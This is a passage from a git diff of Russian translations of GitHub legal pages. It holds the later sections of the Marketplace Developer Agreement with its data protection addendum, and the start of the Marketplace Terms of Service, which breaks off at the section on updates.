запутывания Конечного пользователя. + +**5.4** ОТКАЗ ОТ ПРЕДОСТАВЛЕНИЯ ГАРАНТИЙ. ВСЕ АСПЕКТЫ MARKETPLACE И GITHUB API, ВКЛЮЧАЯ ВСЕ СЕРВЕРНЫЕ И СЕТЕВЫЕ КОМПОНЕНТЫ, ПРЕДОСТАВЛЯЮТСЯ НА ОСНОВЕ «КАК ЕСТЬ» И «ПО МЕРЕ ДОСТУПНОСТИ», БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ В ПОЛНОЙ СТЕПЕНИ, РАЗРЕШЕННОЙ ЗАКОНОМ, И GITHUB ЯВНО ОТКАЗЫВАЕТСЯ ОТ ЛЮБЫХ И ВСЕХ ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, ВКЛЮЧАЯ СРЕДИ ПРОЧЕГО ЛЮБЫЕ ПОДРАЗУМЕВАЕМЫЕ ГАРАНТИИ КОММЕРЧЕСКОЙ ПРИГОДНОСТИ, ПРАВА СОБСТВЕННОСТИ, ПРИГОДНОСТИ ДЛЯ ОПРЕДЕЛЕННОЙ ЦЕЛИ И НЕНАРУШЕНИЯ ПРАВ. РАЗРАБОТЧИК ПОДТВЕРЖДАЕТ, ЧТО GITHUB НЕ ГАРАНТИРУЕТ, ЧТО MARKETPLACE ИЛИ GITHUB API БУДЕТ БЕСПЕРЕБОЙНЫМ, СВОЕВРЕМЕННЫМ, БЕЗОПАСНЫМ, БЕЗОШИБОЧНЫМ ИЛИ СВОБОДНЫМ ОТ ВИРУСОВ, ВРЕДОНОСНЫХ ПРОГРАММ ИЛИ ЧЕРВЕЙ (ИНАЧЕ НАЗЫВАЕМЫХ КОМПЬЮТЕРНЫМ КОДОМ ИЛИ ДРУГОЙ ТЕХНОЛОГИЕЙ, СПЕЦИАЛЬНО РАЗРАБАТЫВАЕМОЙ ДЛЯ НАНЕСИТЕ ВРЕД ВАШЕМУ ПРОГРАММНОМУ ОБЕСПЕЧЕНИЮ, ОБОРУДОВАНИЮ, КОМПЬЮТЕРНОЙ СИСТЕМЕ ИЛИ СЕТИ), И НИКАКАЯ ИНФОРМАЦИЯ ИЛИ РЕКОМЕНДАЦИИ, ПОЛУЧЕННЫЕ РАЗРАБОТЧИКОМ ОТ GITHUB, ЧЕРЕЗ MARKETPLACE ИЛИ GITHUB API, НЕ СОЗДАЮТ КАКИХ-ЛИБО ГАРАНТИЙ, НЕ УКАЗАННЫХ ЯВНО В НАСТОЯЩИХ УСЛОВИЯХ. GITHUB НЕ НЕСЕТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБОЕ НЕСАНКЦИОНИРОВАННОЕ ИСПОЛЬЗОВАНИЕ ПРОДУКТОВ РАЗРАБОТЧИКОВ ВНЕ MARKETPLACE И, В ЧАСТНОСТИ, ОТКАЗЫВАЕТСЯ ОТ ЛЮБОЙ ОТВЕТСТВЕННОСТИ. + +## 6. ЦЕНЫ И УСЛОВИЯ ОПЛАТЫ + +**6.1** GitHub будет зарегистрированным продавцом Продуктов разработчиков, приобретенных Конечными пользователями через Marketplace. + +**6.2** Цены на списки приложений разработчиков на Marketplace будут установлены в долларах США (USD). Разработчик имеет полный контроль над установкой цен для каждого Списка, и после установки такие цены не могут быть изменены. Вы можете отменить тарифный план для существующего Списка и добавить новый тарифный план для такого Списка при условии, что такой новый тарифный план не окажет негативного влияния на существующих Конечных пользователей. Цены, которые вы устанавливаете на Продукты разработчиков, будут определять сумму платежа, который вы получите. GitHub перечислит 95 % от продажной цены в долларах США без снижения налогов, за исключением любых налогов на доход, которые требуются в соответствии с применимым правом. Остальные 5 % от продажной цены будут выделены GitHub и останутся у него. В конце каждого месяца и при достижении минимальной суммы в $500 долларов США GitHub будет перечислять вашу долю платежей. + +**6.3** Требования к возврату. Вы будете нести ответственность за указание условий и положений, касающихся возмещения средств вашим Конечным пользователям. Ни при каких обстоятельствах GitHub не несет ответственности за предоставление какой-либо поддержки для возмещения, а также GitHub не несет ответственности за выплату любого возмещения. + +**6.4** Вы поддерживаете свой продукт разработчика. Вы будете нести единоличную ответственность за поддержку и техническое обслуживание ваших Продуктов разработчика и любые жалобы на ваши Продукты разработчика. Ваша контактная информация службы поддержки будет отображаться на каждой странице сведений о приложении и будет доступна пользователям для целей поддержки клиентов. Непредоставление надлежащей поддержки для ваших Продуктов разработчика может привести к менее заметному показу продукта или в некоторых случаях к удалению из Marketplace или из любого другого места на GitHub.com, где ранее приобретенные или загруженные Продукты разработчика хранятся от имени пользователей. + +## 7. ПРАВО СОБСТВЕННОСТИ + +В соответствии с ограниченными лицензиями, прямо предусмотренными в настоящем Соглашении, ничто в настоящем Соглашении не передает и не уступает стороне какие-либо права интеллектуальной собственности другой стороны на ее Торговые знаки или другие технологии, и ничто в настоящем Соглашении не передает и не уступает стороне какие-либо из прав интеллектуальной собственности другой стороны. + +## 8. ОГРАНИЧЕНИЕ ОТВЕТСТВЕННОСТИ + +НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ И НИ ПРИ КАКОЙ ЮРИДИЧЕСКОЙ ТЕОРИИ (БУДЬ ТО В КОНТРАКТЕ, ДЕЛИКТЕ, НЕБРЕЖНОСТИ ИЛИ ИНЫМ ОБРАЗОМ) GITHUB ИЛИ ЕГО АФФИЛИРОВАННЫЕ ЛИЦА, ДОЛЖНОСТНЫЕ ЛИЦА, ДИРЕКТОРА, СОТРУДНИКИ, АГЕНТЫ ИЛИ ПОСТАВЩИКИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ПЕРЕД РАЗРАБОТЧИКОМ ИЛИ ЛЮБЫМ ТРЕТЬИМ ЛИЦОМ ПО НАСТОЯЩЕМУ СОГЛАШЕНИЮ ЗА ЛЮБЫЕ ОПОСРЕДОВАННЫЕ, СЛУЧАЙНЫЕ, ОСОБЫЕ, ПРИМЕРНЫЕ, ПОСЛЕДУЮЩИЕ, ШТРАФНЫЕ ИЛИ ДРУГИЕ ПОДОБНЫЕ УБЫТКИ, ВКЛЮЧАЯ УПУЩЕННУЮ ПРИБЫЛЬ, УПУЩЕННУЮ ПРОДАЖУ ИЛИ БИЗНЕС, УТРАЧЕННЫЕ ДАННЫЕ, ПРЕРЫВАНИЕ ДЕЛОВОЙ ДЕЯТЕЛЬНОСТИ ИЛИ ЛЮБЫЕ ДРУГИЕ УБЫТКИ, ПОНЕСЕННЫЕ РАЗРАБОТЧИКОМ ИЛИ ЛЮБЫМ ТРЕТЬИМ ЛИЦОМ В СВЯЗИ С НАСТОЯЩИМ СОГЛАШЕНИЕМ, НЕЗАВИСИМО ОТ ТОГО, БЫЛ ЛИ РАЗРАБОТЧИК УВЕДОМЛЕН О ВОЗМОЖНОСТИ ТАКОГО УЩЕРБА ИЛИ МОГ ПРЕДВИДЕТЬ ЕГО, НЕВЗИРАЯ НА КАКИЕ-ЛИБО ПОЛОЖЕНИЯ ОБ ОБРАТНОМ В НАСТОЯЩЕМ СОГЛАШЕНИИ, СОВОКУПНАЯ ОТВЕТСТВЕННОСТЬ GITHUB ПЕРЕД РАЗРАБОТЧИКОМ ИЛИ ЛЮБЫМ ТРЕТЬИМ ЛИЦОМ, ВОЗНИКАЮЩАЯ В РЕЗУЛЬТАТЕ НАСТОЯЩЕГО СОГЛАШЕНИЯ, НЕ ПРЕВЫШАЕТ ШЕСТЬ (6) МЕСЯЦЕВ. + +## 9. ВОЗМЕЩЕНИЕ УБЫТКОВ И УЩЕРБА + +**9.1** В максимальной степени, разрешенной применимым правом, Разработчик соглашается защищать, возмещать убытки и ограждать GitHub, его аффилированных лиц и их соответствующих директоров, должностных лиц, сотрудников и агентов от любых и всех претензий, действий, исков или разбирательств, а также от любых убытков, обязательств, ущерба, затрат и расходов (включая разумные гонорары адвокатов), возникающих или связанных с (а) использованием разработчиком Marketplace в нарушение настоящего Соглашения, Условий или любого применимого законодательства; (b) Продуктами разработчика, которые нарушают какие-либо авторские права, товарные знаки, коммерческую тайну, патенты или другие права на интеллектуальную собственность любого третьего лица; (c) любой потерей или раскрытием данных или личной информации Продуктами разработчика; и (d) Лицензионным соглашением с конечным пользователем (или Условиями обслуживания) Разработчика. + +## 10. ПРЕКРАЩЕНИЕ + +**10.1** Настоящее Соглашение будет продолжать применяться до тех пор, пока не будет расторгнуто любой из сторон, как указано ниже. + +**10.2** Любая из сторон может расторгнуть настоящее Соглашение по любой причине, направив письменное уведомление другой стороне за сорок пять (45) дней до следующего календарного месяца. В течение такого 45-дневного периода условия, действующие на момент предоставления такого уведомления о расторжении, имеют преимущественную силу в течение 45-дневного периода уведомления до даты фактического расторжения. + +**10.3** GitHub может расторгнуть настоящее Соглашение в любое время, если (а) вы нарушили какое-либо положение настоящего Соглашения или (б) GitHub обязан сделать это по закону. + +**10.4** Последствия прекращения Разработчиком. После получения от Разработчика предварительного письменного уведомления о расторжении за сорок пять (45) дней, Разработчик будет лишен возможности привлекать новых клиентов через Marketplace. Любые непогашенные платежи будут возвращены после прекращения действия и удаления Продукта разработчика с Marketplace. Если прекращение действия инициировано в результате изменения GitHub настоящих условий (Раздел 11), условия, действовавшие непосредственно перед таким изменением, имеют преимущественную силу в течение 45-дневного периода уведомления до даты фактического прекращения действия. + +**10.5** Обязательства, изложенные в Разделах 2, 3, 4, 5, 8, 9 и 12-18, остаются в силе после истечения срока действия или расторжения настоящего Соглашения. + +## 11. ИЗМЕНЕНИЕ + +Разработчик признает и соглашается с тем, что GitHub может время от времени изменять настоящее Соглашение, Marketplace, API GitHub, Общие политики API, Политику конфиденциальности GitHub, Условия использования программы для разработчиков GitHub и Условия обслуживания GitHub.com («Изменение»). Обо всех Изменениях следует сообщать через Marketplace, веб-сайт GitHub по адресу www.GitHub.com или через форму прямого сообщения от GitHub к Разработчику. Разработчик также признает и соглашается с тем, что такие Изменения могут быть реализованы в любое время и без какого-либо уведомления Разработчика. Разработчик должен в течение сорока пяти (45) дней с даты первого уведомления о любых Изменениях (или такого более короткого периода времени, указанного в уведомлении об Изменениях) («Период соответствия») соблюдать такие изменения путем внедрения и использования самой последней версии GitHub API в самой последней версии Продуктов разработчиков и внесения любых изменений в Продукты разработчиков, которые могут потребоваться в результате таких Изменений. Разработчик признает, что Изменение может оказать негативное влияние на Продукты разработчика, включая, помимо прочего, изменение способа взаимодействия приложений с GitHub API. GitHub не несет никакой ответственности перед Разработчиком или любым Конечным пользователем в отношении таких Изменений или любых неблагоприятных последствий, возникающих в результате таких Изменений. Постоянный доступ Разработчика к Marketplace или GitHub API или их использование после Периода соответствия означает обязательное принятие рассматриваемых Изменений. + +## 12. НАЗНАЧЕНИЕ; ПОЛНОЕ СОГЛАШЕНИЕ; ПЕРЕСМОТР + +**12.1** Разработчик не может прямо или косвенно, в силу закона или иным образом, переуступать все или любую часть настоящего Соглашения или прав Разработчика по настоящему Соглашению или делегировать выполнение обязанностей Разработчика по настоящему Соглашению без предварительного письменного согласия GitHub. Права, предоставленные в настоящем Соглашении, могут быть переуступлены или переданы GitHub без предварительного одобрения Разработчика. Кроме того, GitHub может делегировать свои обязанности или обязательства по настоящему Соглашению без согласия Разработчика. + +**12.2** Настоящее Соглашение вместе с Условиями составляет полное соглашение между сторонами в отношении предмета настоящего Соглашения. Неспособность GitHub обеспечить соблюдение какого-либо положения настоящего Соглашения в любое время не означает отказ от этого положения или любого другого положения настоящего Соглашения. + +## 13. НЕЗАВИСИМОСТЬ ПОЛОЖЕНИЙ СОГЛАШЕНИЯ + +Если какое-либо положение настоящего Соглашения будет признано судом компетентной юрисдикции неисполнимым, такое положение должно быть изменено судом и истолковано таким образом, чтобы наилучшим образом выполнить первоначальное положение в максимально возможной степени, разрешенной законом, а остальные положения настоящего Соглашения остаются в силе. + +## 14. ОТНОШЕНИЯ СТОРОН + +Стороны являются независимыми подрядчиками. Настоящее Соглашение не подразумевает создания товарищества, франчайзингового предприятия, совместного предприятия возникновения агентских, фидуциарных или трудовых отношений между сторонами. Разработчик соглашается с тем, что каждый член группы компаний, к которой принадлежит GitHub, является сторонним бенефициаром по настоящему Соглашению, и что такие другие компании имеют право напрямую применять и полагаться на любое положение настоящего Соглашения, которое дает преимущество или предоставляет право GitHub или в пользу GitHub. Никакое другое лицо, компания или юридическое лицо не может быть сторонним бенефициаром по Соглашению. + +## 15. УВЕДОМЛЕНИЕ + +Все уведомления, которые GitHub должен направлять Разработчику в соответствии с настоящим Соглашением, могут быть доставлены в письменной форме (i) признанной на национальном уровне службой экспресс-доставки («Курьер») или почтой США на контактный почтовый адрес, предоставленный Разработчиком GitHub; или (ii) по электронной почте на адрес электронной почты, предоставленный Разработчиком. Разработчик должен письменно уведомить GitHub курьером или почтой США по следующему адресу: GitHub, Inc., Вниманию: Юридический отдел, улица Колина П. Келли-младшего, 88, Сан-Франциско, Калифорния, 94107, США. Все уведомления считаются отправленными сразу после доставки по электронной почте или, если они доставлены иным образом, по получении, или, если раньше, через два (2) рабочих дня после отправки по почте или курьером, как это разрешено выше. + +## 16. ПРИМЕНИМОЕ ПРАВО + +Настоящее Соглашение регулируется законодательством штата Калифорния без учета принципов коллизионного права. Настоящим Разработчик прямо соглашается подчиняться исключительной личной юрисдикции федеральных судов и судов штата Калифорния, округ Сан-Франциско, с целью разрешения любого спора, связанного с настоящим Соглашением. Несмотря на вышеизложенное, GitHub имеет право добиваться судебного запрета или других видов срочной правовой помощи в любой юрисдикции. + +## 17. ОГРАНИЧЕНИЯ, СВЯЗАННЫЕ С ЭКСПОРТОМ + +ПРОДУКТЫ РАЗРАБОТЧИКОВ, РАСПРОСТРАНЯЕМЫЕ ЧЕРЕЗ MARKETPLACE, МОГУТ ПОДЛЕЖАТЬ ЭКСПОРТНОМУ КОНТРОЛЮ ИЛИ ОГРАНИЧЕНИЯМ В СОЕДИНЕННЫХ ШТАТАХ ИЛИ ДРУГИХ СТРАНАХ ИЛИ ТЕРРИТОРИЯХ. РАЗРАБОТЧИК СОГЛАШАЕТСЯ СОБЛЮДАТЬ ВСЕ ПРИМЕНИМОЕ АМЕРИКАНСКОЕ И МЕЖДУНАРОДНОЕ ЗАКОНОДАТЕЛЬСТВО ОБ ЭКСПОРТЕ. ЭТИ ЗАКОНЫ МОГУТ ВКЛЮЧАТЬ ОГРАНИЧЕНИЯ НА НАЗНАЧЕНИЯ, СОДЕРЖАНИЕ И/ИЛИ КОНЕЧНЫХ ПОЛЬЗОВАТЕЛЕЙ. + +## 18. ДАННЫЕ ОБ ИСПОЛЬЗОВАНИИ +Для работы и улучшения Marketplace GitHub может собирать Данные об использовании из Marketplace и GitHub API или из любого места, где GitHub хранит ранее приобретенные или загруженные Продукты разработчика от имени Конечных пользователей. Данные об использовании будут храниться в соответствии с действующими политиками конфиденциальности GitHub. Ограниченные данные об использовании могут быть доступны для использования Разработчиком по собственному усмотрению GitHub. + +# Дополнение 1: Приложение по защите данных + +Настоящее Дополнение о защите данных («Дополнение») прилагается к Соглашению с разработчиком GitHub Marketplace между вами и GitHub («Соглашение») и является его частью. Термины, не определенные в настоящем дополнении, имеют значение, которое им было приписано в Соглашении. В случае противоречия или несоответствия условия настоящего Дополнения имеют преимущественную силу над условиями Соглашения. + +**А1-1. Цель и объем** GitHub хранит личную информацию от людей со всего мира, некоторые из которых являются жителями стран и регионов с строгими законами о защите данных. Это Дополнение устанавливает ваши обязанности при получении и обработке любых защищенных данных GitHub. + +**А1-2. Определения** + +- a. «Применимое законодательство о защите данных» означает любые законы, постановления, нормативно-правовые акты или другие законодательные акты, касающиеся обработки и использования Персональной информации, применимые к Соглашению, в том числе: + - Общий регламент ЕС по защите данных 2016/679 («GDPR»), а также любые имплементирующие или соответствующие эквивалентные национальные законы или правила; + - Калифорнийский закон о конфиденциальности потребителей от 2018 г., Гражданский кодекс Калифорнии, § 1798.100 и следующие («CCPA»); и + - Закон Великобритании о защите данных 2018 года и реализация GDPR, содержащаяся в нем. +- b. «Личная информация» означает любую информацию, относящуюся к отдельному Конечному пользователю, клиенту или сотруднику GitHub, которая может, отдельно или вместе с другой информацией, идентифицировать его или ее лично, независимо от того, предоставлена ли она GitHub для обработки Разработчиком или создана Разработчиком в ходе выполнения своих обязательств по настоящему Соглашению. +- c. «Обработка» — любая операция или набор операций, осуществляемых с Защищенными данными GitHub, с применением ручных или автоматизированных средств, включая, сбор, запись, организация, структурирование, хранение, модификация и изменение, извлечение, консультирование, использование, раскрытие посредством передачи, распространение или предоставление иным способом, блокировка, стирание или разрушение. +- d. «Защищенные данные» — любая конфиденциальная информация, переданная GitHub Разработчику о Конечном пользователе GitHub, включая Личную информацию, метаданные, Данные об использовании или другие данные или информацию, связанные с Конечными пользователями GitHub. + +**А1-3. Соблюдение законов о передаче данных** + +- a. Соответствие GitHub. GitHub соблюдает применимые законы о защите данных. GitHub полагается на Стандартные договорные положения («SCC») для всех переводов за пределы Европейского Союза, Европейской экономической зоны, Соединенного Королевства и Швейцарии для предоставления своих услуг. Кроме того, GitHub имеет сертификат соответствия соглашению о правилах обмена конфиденциальной информацией между ЕС и США и аналогичному соглашению для обмена между Швейцарией и США, а также вытекающим из них обязательствам, хотя GitHub не использует соглашение о правилах обмена конфиденциальной информацией между ЕС и США в качестве правовой основы передачи Персональной информации в свете судебного решения Суда Европейского союза в деле C-311/18. GitHub будет передавать Персональную информацию Разработчику только для ограниченных и указанных целей, для которых она была собрана. +- b. Соответствие разработчика. Разработчик заявляет и гарантирует, что он (i) будет соблюдать Применимое законодательство о защите данных; и (ii) соблюдать требования Европейской экономической зоны и швейцарского законодательства о защите данных в отношении сбора, использования, передачи, хранения и другой обработки Персональной информации из Европейской экономической зоны, Великобритании и Швейцарии. Любая передача Персональной информации в третьи страны или международным организациям будет производиться в соответствии с требованиями в отношении мер защиты согласно Статье 46 регламента GDPR, и такая передача и меры защиты будут документально оформлены в соответствии со Статьей 30(2) регламента GDPR. + +**А1-4. Защита данных** + +- a. Уведомления. Разработчик должен идентифицировать себя как сборщика и обработчика всех данных, которые он собирает от Конечного пользователя. Разработчик не должен выдавать себя за сборщика какой-либо Личной информации от имени GitHub. Разработчик должен предоставить Конечному пользователю достаточное уведомление о своих методах обеспечения конфиденциальности, например, опубликовав политику конфиденциальности. +- b. Целевое ограничение. + - i. GitHub предоставит Разработчику элементы Защищенных данных с целью установления и облегчения отношений между Разработчиком и Конечным пользователем, а также предоставления Разработчику возможности предоставлять услуги Конечному пользователю. Разработчик должен ограничить использование Защищенных данных для этой цели, если Конечный пользователь не соглашается разрешить другое использование. + - ii. Разработчик должен обрабатывать и передавать Защищенные данные третьим лицам только для ограниченных и конкретных целей предоставления своих услуг Конечному пользователю, как описано в его соглашении с Конечным пользователем, если только Конечный пользователь не соглашается разрешить другое использование. +- c. Качество данных и пропорциональность. Разработчик должен обеспечивать точность и актуальность Защищенных данных. +- d. Безопасность. Разработчик должен принять все разумные меры безопасности, соответствующие рискам, связанным с обработкой Защищенных данных, например: случайное или незаконное уничтожение или случайная потеря, изменение, несанкционированное раскрытие или доступ. +- e. Хранение и удаление данных. По разумному запросу GitHub, если это не запрещено законом, Разработчик должен вернуть или уничтожить всю Персональную информацию и связанные с ней данные во всех местах, где они хранятся, после того как они больше не нужны для ограниченных и определенных целей, для которых они были собраны. +- f. Дополнительная обработка и дальнейшая передача. Разработчик несет ответственность за дальнейшую передачу Защищенных данных своим дополнительным обработчикам. В случае, если Разработчик должен передать Защищенные данные третьему лицу или если Разработчик устанавливает, использует или разрешает сторонние службы для обработки Защищенных данных от имени Разработчика, Разработчик должен обеспечить, чтобы третье лицо предоставило как минимум такой же уровень защиты конфиденциальности, какой требуется в настоящем документе. + +**А1-5. Использование Защищенных данных** + +- a. Разрешенное использование. Разработчик может обрабатывать Защищенные данные только для целей, изложенных в Разделе 4(b)(i), и ни для каких других целей. +- b. Не использовать в маркетинге. Разработчик не должен использовать Защищенные данные в целях рекламы каких-либо сторонних товаров или услуг и не может продавать Защищенные данные какому-либо третьему лицу. +- c. Автоматизированные решения. В случае, если Разработчик принимает автоматизированные решения, затрагивающие права клиентов GitHub, включая трудоустройство, кредит или здоровье, Разработчик должен уведомить об этом отдельных лиц. + +**А1-6. Соответствие** + +По запросу Разработчик предоставит свое Заявление о конфиденциальности, Политику конфиденциальности, Уведомление о конфиденциальности или любую аналогичную документацию. Разработчик также будет уведомлять о любых соответствующих отчетах о соблюдении требований, включая соответствие требованиям Privacy Shield. + +**А1-7. Прекращение** + +- a. Приостановка. В случае, если Разработчик нарушает свои обязательства по поддержанию надлежащего уровня защиты конфиденциальности, GitHub может временно приостановить передачу Защищенных данных или запретить сбор и обработку Защищенных данных от имени GitHub до тех пор, пока нарушение не будет устранено или Соглашение не будет расторгнуто. +- b. Прекращение действия в связи с нарушением. GitHub может расторгнуть Соглашение без ущерба для любых других претензий по закону или праву справедливости в случае, если: + - i. Разработчик уведомляет GitHub о том, что больше не может выполнять свои обязательства по обеспечению конфиденциальности; + - ii. передача, сбор или обработка Защищенных данных были временно приостановлены на срок более одного месяца в соответствии с пунктом 7(а); + - iii. Разработчик существенно или постоянно нарушает какие-либо гарантии или заявления в соответствии с настоящим Дополнением о защите данных; + - iv. Разработчик больше не ведет бизнес, распущен, начинает конкурсное производство или от имени Разработчика издается приказ о ликвидации. +- c. Нарушение. Несоблюдение положений настоящего Дополнения о защите данных считается существенным нарушением Основного соглашения об обслуживании. +- d. Уведомление. +Если Разработчик определяет, что он больше не может выполнять свои обязательства в отношении конфиденциальности по настоящему Соглашению, он должен немедленно уведомить об этом GitHub. +В случае, если Разработчик был сертифицирован в соответствии с Privacy Shield и допускает прекращение действия этой сертификации или не может оставаться сертифицированным в соответствии с Privacy Shield, Разработчик должен немедленно уведомить об этом GitHub. +- e. Изменения. GitHub может время от времени изменять настоящее Дополнение в соответствии с требованиями закона, уведомляя об этом Разработчика за тридцать дней. Если Разработчик не может выполнить изменения Дополнения, GitHub может расторгнуть Соглашение. +- f. После расторжения Разработчик должен: + - i. принять разумные и надлежащие меры для прекращения обработки Защищенных данных; + - ii. в течение тридцати дней после расторжения удалить все хранилища Защищенных данных Разработчика от имени GitHub; и + - iii. предоставить GitHub разумную уверенность в том, что Разработчик прекратил обработку Защищенных данных и удалил сохраненные Защищенные данные. + +**А1-8. Ответственность за обработку данных** +- a. Прямая ответственность. Разработчик будет нести ответственность перед GitHub за фактический ущерб, причиненный любым нарушением настоящего Дополнения, в соответствии с условиями Раздела 8 «Ограничение ответственности» Соглашения о Marketplace с разработчиком. diff --git a/translations/ru-RU/content/site-policy/github-terms/github-marketplace-terms-of-service.md b/translations/ru-RU/content/site-policy/github-terms/github-marketplace-terms-of-service.md new file mode 100644 index 000000000000..dced7648e6f2 --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-terms/github-marketplace-terms-of-service.md @@ -0,0 +1,96 @@ +--- +title: Условия обслуживания GitHub Marketplace +redirect_from: + - /articles/github-marketplace-terms-of-service + - /github/site-policy/github-marketplace-terms-of-service +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 25e713f275e6a0dd04aefc8652d16d168470bfd8 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556767' +--- +Добро пожаловать в GitHub Marketplace («Marketplace»)! Мы рады, что вы с нами. Пожалуйста, внимательно прочитайте настоящие Условия обслуживания («Условия Marketplace») перед доступом к GitHub Marketplace или использованием GitHub Marketplace. GitHub Marketplace — это платформа, которая позволяет вам выбирать приложения или действия разработчиков (бесплатно или за плату), которые можно использовать с вашей учетной записью GitHub.com («Продукты разработчиков»). Хотя Продукты разработчиков предлагаются GitHub, Inc. («GitHub», «мы», «нас»), они могут разрабатываться и поддерживаться либо GitHub, либо сторонними поставщиками программного обеспечения. Ваш выбор или использование Продуктов разработчика регулируется настоящими Условиями Marketplace и любыми применимыми сборами, а также может потребовать от вас согласия с дополнительными условиями, предоставленными сторонним лицензиаром этого Продукта разработчика («Поставщик продукта»). + +Используя Marketplace, вы соглашаетесь соблюдать настоящие Условия Marketplace. + +Дата вступления в силу: 20 ноября 2020 г. + +## А. Условия обслуживания GitHub.com + +Marketplace предоставляется GitHub и регулируется либо [Условиями обслуживания](/articles/github-terms-of-service/), либо [Корпоративными условиями обслуживания](/articles/github-corporate-terms-of-service/) («Условия GitHub»), в зависимости от типа вашей учетной записи, а также настоящих Условий Marketplace. Если вы настроите Продукты разработчика для работы с одной или несколькими учетными записями на веб-сайте GitHub.com, использование вами Продуктов разработчика также будет регулироваться вашими применимыми Условиями GitHub. Любые термины, написанные с заглавной буквы и не определенные в этом документе, будут определены в ваших применимых Условиях GitHub. + +Вы не можете использовать Продукт разработчика для нарушения применимых Условий GitHub. Многие из этих Продуктов разработчиков используются исключительно для выполнения автоматизированных задач. Кроме того, несколько Пользователей могут управлять действиями Продукта разработчика. Однако если вы приобрели и/или настроили Продукт разработчика в своей учетной записи или являетесь владельцем учетной записи с интегрированным Продуктом разработчика, вы будете нести ответственность за действия Продукта разработчика, которые выполняются в вашей учетной записи или с ее помощью. + +## B. Требования к использованию + +Чтобы использовать Marketplace, вам должно быть не менее 13 лет (если вы живете в Соединенных Штатах; если вы живете в другой стране, вы должны соблюдать законы о минимальном возрасте вашей страны), вы должны иметь действующую учетную запись GitHub и должны согласиться с вашими применимыми Условиями GitHub и настоящими Условиями Marketplace. + +Если вы соглашаетесь с настоящими Условиями Marketplace от имени компании, организации или другого юридического лица, вы заявляете, что у вас есть полномочия обязать это юридическое лицо, его аффилированных лиц и всех пользователей, которые получают доступ к Marketplace от его имени, соблюдать настоящие Условия Marketplace. Если у вас нет полномочий, вы не должны принимать настоящие Условия Marketplace и не можете пользоваться услугами Marketplace. + +## C. Продукты разработчиков и поставщики продуктов + +Если вы устанавливаете и/или покупаете Продукт разработчика, вы покупаете Продукты разработчика у GitHub и должны производить соответствующие платежи непосредственно в GitHub. Однако вы получаете доступ и права на использование этого Продукта разработчика от Поставщика продукта, а не от GitHub (если это не Продукт разработчика, принадлежащий GitHub). Поставщик продукта несет единоличную ответственность за предоставляемый им Продукт разработчика, его содержимое и любые претензии, которые могут возникнуть у вас или любой другой стороны в отношении этого Продукта разработчика или использования вами этого Продукта разработчика. + +Мы не являемся стороной соглашения между вами и Поставщиком продукта в отношении этого Продукта разработчика. Мы не несем ответственность за этот Продукт разработчика, его содержимое или любые претензии, которые могут возникнуть у вас или любой другой стороны в отношении этого Продукта разработчика или использования вами этого Продукта разработчика. Тем не менее мы являемся сторонним бенефициаром соглашения между вами и Поставщиком продукта для каждого Продукта разработчика, и мы будем иметь право (и будет считаться, что приняли право) требовать от вас как стороннего бенефициара соблюдения данного соглашения. + +## D. Оплата, график выставления счетов и отмена + +Все платежи за Продукты разработчиков будут проходить через GitHub. Условия оплаты и комиссий регулируются [Разделом К. Оплата](/articles/github-terms-of-service/#k-payment) или аналогичным разделом ваших применимых Условий GitHub. Используя Marketplace, вы соглашаетесь оплатить GitHub любые расходы, понесенные в связи с приобретением Продукта разработчика. Каждая покупка представляет собой электронный контракт между вами и GitHub, а также между вами и Поставщиком продукта. Вы несете ответственность за предоставление нам действительных средств оплаты приобретаемых Продуктов разработчика. Если вы покупаете только бесплатные Продукты разработчиков, вам не требуется предоставлять платежную информацию. + +**График выставления счетов; невозможность возврата средств.** Ваш график платежей определяется графиком платежей, который вы выбрали при создании учетной записи GitHub (например, бесплатно, ежемесячно, ежегодно). Для ежемесячных или ежегодных планов оплаты покупки на Marketplace выставляются в счет заранее ежемесячно или ежегодно соответственно, и уплаченные средства не подлежат возврату. Не будет возмещений или кредитов за неполные месяцы обслуживания, возмещения за понижение или возмещения за неиспользованные месяцы; однако услуга будет оставаться активной в течение оплаченного расчетного периода. Если вы хотите отказаться от услуг Продукта разработчика, вы можете сделать это, зайдя в «Настройки» на глобальной панели навигации в верхней части экрана. + +Если у вас возникнут вопросы, опасения или спор относительно выставления счетов, свяжитесь с [Поддержкой GitHub](https://support.github.com/contact?tags=docs-policy). + +## Е. Ваши данные и политика конфиденциальности GitHub + +**Конфиденциальность.** Когда вы выбираете или используете Продукт разработчика, GitHub может передавать определенную Персональную информацию (как определено в [Заявлении о конфиденциальности GitHub](/articles/github-privacy-statement/)) Поставщику продукта (если любая такая Персональная информация получена от вас), чтобы предоставить вам Продукт разработчика, независимо от ваших настроек конфиденциальности. В зависимости от требований Продукта разработчика, который вы выбираете, GitHub может делиться как вашим именем учетной записи, идентификатором и основным адресом электронной почты, так и доступом к содержимому в ваших репозиториях, включая возможность чтения и изменения ваших личных данных. Вы сможете просмотреть объем разрешений, запрашиваемых Продуктом разработчика, и принять или отклонить их, когда вы предоставите ему авторизацию через OAuth. + +Если вы прекратите использовать Продукт разработчика и отзовете доступ через настройки своей учетной записи, Поставщик продукта больше не сможет получить доступ к вашей учетной записи. Поставщик продукта несет ответственность за удаление вашей Персональной информации из своих систем в течение определенного периода времени. Пожалуйста, свяжитесь с Поставщиком продукта, чтобы убедиться, что ваша учетная запись была правильно удалена. + +**Отказ от ответственности за безопасность и конфиденциальность данных.** Когда вы выбираете или используете Продукт разработчика, ответственность за безопасность Продукта разработчика и хранение ваших данных, включая вашу Персональную информацию (если таковая имеется), возлагается на Поставщика продукта. Вы несете ответственность за понимание соображений безопасности и конфиденциальности при выборе или использовании Продукта разработчика с учетом собственных рисков безопасности и конфиденциальности и соображений соответствия. + +## F. Права на Продукты разработчиков + +Права, предоставленные вам на использование любого Продукта разработчика, являются вашими личными и не подлежат передаче третьим лицам, например вашим конечным пользователям. Любые права на предоставление или перепродажу Продуктов Разработчика третьим лицам должны быть предоставлены непосредственно Поставщиком продукта. + +## G. Обновление Продуктов разработчиков + +Время от 